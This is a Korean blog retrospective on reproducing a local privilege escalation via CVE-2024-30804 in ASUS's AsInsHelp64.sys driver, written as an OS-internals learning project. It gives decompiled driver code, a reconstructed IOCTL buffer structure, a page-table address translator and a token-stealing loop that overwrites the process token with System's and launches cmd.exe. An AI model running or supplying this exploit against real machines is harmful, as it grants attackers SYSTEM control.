Published on

CVE-2024-30804 프로젝트 회고

Authors
  • avatar
    Name
    Byun JongMin
    Twitter

목차

프로젝트 소개

소프트웨어 엔지니어로서 애플리케이션 계층을 넘어, 운영체제가 하드웨어와 시스템 자원을 어떻게 통제하는지 이해하는 일은 의미가 있다고 생각합니다. 이를 깊이 있게 탐구하기 위해 ASUS AsInsHelp64.sys 드라이버의 취약점(CVE-2024-30804)을 이용해서 로컬 권한 상승을 PoC로 재현해 보았습니다.

이 취약점의 핵심은 드라이버가 사용자 모드에서 전달된 IOCTL 요청에 대해 충분한 접근 통제와 매개변수 검증을 수행하지 않아, 공격자가 임의의 물리 메모리를 사용자 프로세스의 주소 공간에 매핑하고 이를 바탕으로 커널 메모리를 읽거나 변조할 수 있다는 점입니다.


취약성 원인

치명적인 보안 결함은 ZwMapViewOfSection API를 호출하는 파라미터에 있었습니다.

...
v7 = ZwMapViewOfSection(
       Handle, // \Device\PhysicalMemory 핸들
       (HANDLE)0xFFFFFFFFFFFFFFFFi64, // 타겟 프로세스 핸들 (NtCurrentProcess)
       &BaseAddress, ...

드라이버는 권한 제약 없이 \Device\PhysicalMemory 객체를 오픈한 뒤, 현재 IOCTL을 호출한 유저 모드 프로세스(NtCurrentProcess)를 지정합니다. 방어적인 관점에서는, 다음과 같은 로직이 있어야하지만 해당 드라이버에서는 별도의 방어 로직이 존재하지 않았습니다.

  1. 호출자가 SeDebugPrivilege 권한을 가졌는지 체크
  2. BaseAddress를 통해 유저 프로세스에 메모리를 매핑할 때, 해당 주소가 커널 영역을 침범하지 않고 안전한 유저 모드 주소 공간 내에 있는지 체크

이러한 상황을 인지하여 드라이버의 IOCTL 인터페이스를 래핑하고, 일반 유저 권한에서 커널 메모리를 읽고 쓸 수 있는 프리미티브를 구현했습니다.


입력 버퍼 구조체 역추적

공개된 보안 권고문과 리서치 자료의 디컴파일 내역을 참고하여 확인한 실제 물리 메모리 매핑이 이루어지는 핵심 로직은 다음과 같습니다.

github.com/DriverHunter/Win-Driver-EXP/tree/main/CVE-2024-30804#ioctl--0xa040244c
__int64 __fastcall sub_112F0(__int64 a1, __int64 a2, __int64 a3, bool is32bitprocess)
{
  PHYSICAL_ADDRESS *v5; // rdi
  ...
  v5 = *(PHYSICAL_ADDRESS **)(a2 + 24);
  AddressSpace = v5[2].LowPart;
  v22 = AddressSpace;
  Handle = 0i64;
  v21 = 0i64;
  LODWORD(SectionHandle) = 0;
  LODWORD(Object) = 0;
  if ( is32bitprocess )
  {
    v6 = v5;
    if ( *(_DWORD *)(a3 + 16) < 0x18u || *(_DWORD *)(a3 + 8) < 4u )
    {
      v7 = 0xC000009A;
      goto LABEL_5;
    }
    v9 = v21;
  }
  else
  {
    v9 = v5;
    if ( *(_DWORD *)(a3 + 16) < 0x18u || *(_DWORD *)(a3 + 8) < 8u )
      return (unsigned int)-1073741670;
    v6 = v21;
  }
  RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
  ...
  if ( is32bitprocess )
  {
    v7 = ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
    if ( v7 < 0 )
      goto LABEL_5;
    v7 = ObReferenceObjectByHandle((HANDLE)(int)SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64);
    if ( v7 < 0 )
      goto LABEL_5;
  }
  else
  {
    v7 = ZwOpenSection(&Handle, 0xF001Fu, &ObjectAttributes);
    if ( v7 < 0 )
      goto LABEL_32;
    v7 = ObReferenceObjectByHandle(Handle, 0xF001Fu, 0i64, 0, &v21, 0i64);
    if ( v7 < 0 )
      goto LABEL_32;
  }
  BusAddress.QuadPart = v5[1].QuadPart + v5[2].HighPart + (unsigned int)(unsigned __int16)v5[1].LowPart;
  if ( !HalTranslateBusAddress((INTERFACE_TYPE)v5->LowPart, v5->HighPart, v5[1], &AddressSpace, &TranslatedAddress)
    || !HalTranslateBusAddress((INTERFACE_TYPE)v5->LowPart, v5->HighPart, BusAddress, &v22, &BusAddress)
    || (v10 = BusAddress.LowPart - TranslatedAddress.LowPart,
        ViewSize = BusAddress.QuadPart - TranslatedAddress.QuadPart,
        BusAddress.LowPart == TranslatedAddress.LowPart) )
  ...
  1. 입력 버퍼 사이즈 검증

    // (a3 + 16) = 입력 버퍼 크기일 가능성 있음
    if ( *(_DWORD *)(a3 + 16) < 0x18u || *(_DWORD *)(a3 + 8) < 4u ) // 32비트면 4
    ...
    if ( *(_DWORD *)(a3 + 16) < 0x18u || *(_DWORD *)(a3 + 8) < 8u ) // 64비트면 8
    

    a3 + 16을 입력 버퍼 크기라고 가정할 수 있는 이유는 어떤 값이 24(0x18)보다 작은지 검사하고 또 다른 값이 4 또는 8보다 작은지 검사합니다. 곧 언급 될 v5라는 입력 데이터에서 최소 24바이트를 읽어야 하기 때문에 충분히 입력 버퍼 크기라고 의심해 볼 만한 코드입니다.

  2. v5의 각 칸을 구조체 필드인 이유

    AddressSpace = v5[2].LowPart;
    ...
    BusAddress.QuadPart = v5[1].QuadPart + v5[2].HighPart + (unsigned int)(unsigned __int16)v5[1].LowPart;
    HalTranslateBusAddress(
        (INTERFACE_TYPE)v5->LowPart,
        v5->HighPart,
        v5[1],
        &AddressSpace,
        &TranslatedAddress
    );
    

    HalTranslateBusAddress 함수는 필요한 파라미터가 정해져있습니다. msdn 정보에 의하면, 이 함수는 물리적 버스 주소를 물리적 시스템 주소로 변환한다고 합니다.

    • InterfaceType [입력] 버스 인터페이스 유형. 지원되는 버스 유형의 상한은 항상 MaximumInterfaceType입니다.
    • BusNumber [in] 장치에 할당된 0부터 시작하는 버스 번호로, InterfaceType 과 함께 사용하여 동일한 유형의 버스가 둘 이상 있는 시스템에서 버스를 식별하는 데 사용됩니다.
    • BusAddress [in] 버스 상대 주소.
    • AddressSpace [in, out] 입력 시 초기화된 PULONG 객체 입니다 . 출력 시 포트 번호 또는 메모리 주소입니다. AddressSpace 0x0은 메모리를, AddressSpace 0x1은 I/O 공간을 나타냅니다.
    • TranslatedAddress [out] 번역된 주소를 가리키는 포인터입니다.

    그런데 코드가 v5에서 값을 이렇게 꺼냅니다.

    • v5->LowPart → 첫 4바이트 (+0x00)
    • v5->HighPart → 다음 4바이트 (+0x04)
    • v5[1] → 그 다음 8바이트 (+0x08)
    • v5[2].LowPart → 그 다음 4바이트 (+0x10)

    즉 구조체라고 확정 가능한 이유는 메모리를 연속된 칸으로 읽어서, 의미 있는 함수 인자로 그대로 넣고 있기 때문입니다.

  3. +0x14가 Length인 이유

    BusAddress.QuadPart = v5[1].QuadPart + v5[2].HighPart + (unsigned int)(unsigned __int16)v5[1].LowPart;
    

    이 코드의 의미는 이런 느낌입니다.

    끝주소 비슷한 값 = 시작주소 + 어떤 값 + 시작주소의 하위 오프셋
    

    여기서 v5[1]은 시작 주소가 되고, v5[2].HighPart는 거기에 더해지는 값입니다.

    ViewSize = BusAddress.QuadPart - TranslatedAddress.QuadPart
    

    그 다음 시작과 끝의 차이 오프셋을 계산하는 부분이 존재합니다. 이러한 패턴으로 +0x14은 시작 주소에서 얼마나 읽을지를 요청하는 Length 값으로 추측할 수 있습니다.

지금까지의 결론으로 IOCTL 호출을 위한 구조체를 다음과 같이 정의할 수 있습니다.

#pragma pack(push, 1)
typedef struct {
    INTERFACE_TYPE   InterfaceType;   // 0x00
    ULONG            BusNumber;       // 0x04
    PHYSICAL_ADDRESS BusAddress;      // 0x08
    ULONG            AddressSpace;    // 0x10
    ULONG            Length;          // 0x14
} AsInsHelp64_Map_Buffer ;
#pragma pack(pop)

이제 DeviceIoControl로 커널 드라이버 루틴을 호출할 수 있는 기반이 갖춰졌습니다.


x64 페이징 구조 해석: 가상 주소를 물리 주소로

커널의 핵심 데이터 구조는 가상 주소 공간에 존재합니다. 하지만 취약한 IOCTL은 물리 주소 기반이었습니다. 따라서 커널의 가상 주소를 물리 주소로 변환하는 과정이 필수적이었습니다. CR3 레지스터가 가리키는 디렉토리 베이스를 시작으로 PML4 -> PDPT -> PD -> PT 로 이어지는 4단계 페이지 테이블을 순회하며, 특정 가상 주소가 실제 물리 메모리의 어느 위치에 매핑되어 있는지 계산하는 변환 로직을 거쳐야합니다.

main.cpp
ULONG64 Virt2Phys(AsusDriver& driver, ULONG64 dirBase, ULONG64 virtAddr) {
    ULONG64 pml4Index = (virtAddr >> 39) & 0x1FF;
    ULONG64 pdptIndex = (virtAddr >> 30) & 0x1FF;
    ULONG64 pdIndex = (virtAddr >> 21) & 0x1FF;
    ULONG64 ptIndex = (virtAddr >> 12) & 0x1FF;

    ULONG64 pml4Entry = driver.ReadPhys64(dirBase + pml4Index * 8);
    if (!(pml4Entry & 1)) return 0;

    ULONG64 pdptEntry = driver.ReadPhys64((pml4Entry & 0xFFFFFFFFFF000) + pdptIndex * 8);
    if (!(pdptEntry & 1)) return 0;
    if (pdptEntry & LARGE_PAGE_MASK) return (pdptEntry & 0xFFFFFC0000000) + (virtAddr & 0x3FFFFFFF);

    ULONG64 pdEntry = driver.ReadPhys64((pdptEntry & 0xFFFFFFFFFF000) + pdIndex * 8);
    if (!(pdEntry & 1)) return 0;
    if (pdEntry & LARGE_PAGE_MASK) return (pdEntry & 0xFFFFFFFE00000) + (virtAddr & 0x1FFFFF);

    ULONG64 ptEntry = driver.ReadPhys64((pdEntry & 0xFFFFFFFFFF000) + ptIndex * 8);
    if (!(ptEntry & 1)) return 0;

    return (ptEntry & 0xFFFFFFFFFF000) + (virtAddr & 0xFFF);
}


토큰 탈취를 통한 System 권한 획득

메모리를 읽고 쓸 수 있게 된 후, 최종 목표인 권한 상승(LPE)을 달성하기 위해 Token Stealing 기법을 적용했습니다.

  1. 커널 프로세스 리스트 순회

    Windows 커널의 EPROCESS 구조체들을 ActiveProcessLinks (이중 연결 리스트)를 따라 순회합니다.

  2. 타겟 식별

    막강한 권한을 가진 System 프로세스(PID 4)와, 현재 실행 중인 나의 PoC 프로세스를 찾습니다.

  3. 토큰 덮어쓰기

    취약한 드라이버의 Write 프리미티브를 사용하여, 내 프로세스의 Token 포인터를 System 프로세스의 Token 포인터로 덮어씁니다.

결과적으로 OS는 저의 프로세스를 System 권한을 가진 것으로 인식하게 되며, 로컬 권한 상승에 성공했습니다.

CVE-2024-30804-result
main.cpp
DWORD myPid = GetCurrentProcessId();
ULONG64 currentEProcess = sysEprocess;
bool found = false;

for (int i = 0; i < 2000; i++) {
    ULONG64 pid = ReadVirt64(driver, sysCr3, currentEProcess + EPROCESS_PID_OFFSET);

    if ((DWORD)pid == myPid) {
        printf("[+] FOUND MY PROCESS (PID: %lld)!\n", pid);
        printf("    EPROCESS: 0x%llX\n", currentEProcess);

        ULONG64 tokenPhys = Virt2Phys(driver, sysCr3, currentEProcess + EPROCESS_TOKEN_OFFSET);
        if (tokenPhys) {
            printf("    Target Token Phys: 0x%llX\n", tokenPhys);
            printf("[*] Overwriting with System Token...\n");
            driver.WritePhys64(tokenPhys, sysToken);

            printf("[+] SUCCESS!\n");
            system("cmd.exe");
            found = true;
        }
        else {
            printf("[-] Failed to resolve Token physical address.\n");
        }
        break;
    }

    ULONG64 listEntry = ReadVirt64(driver, sysCr3, currentEProcess + EPROCESS_LINKS_OFFSET);
    if (!listEntry || listEntry == sysEprocess + EPROCESS_LINKS_OFFSET) break;

    currentEProcess = listEntry - EPROCESS_LINKS_OFFSET;
}

레퍼런스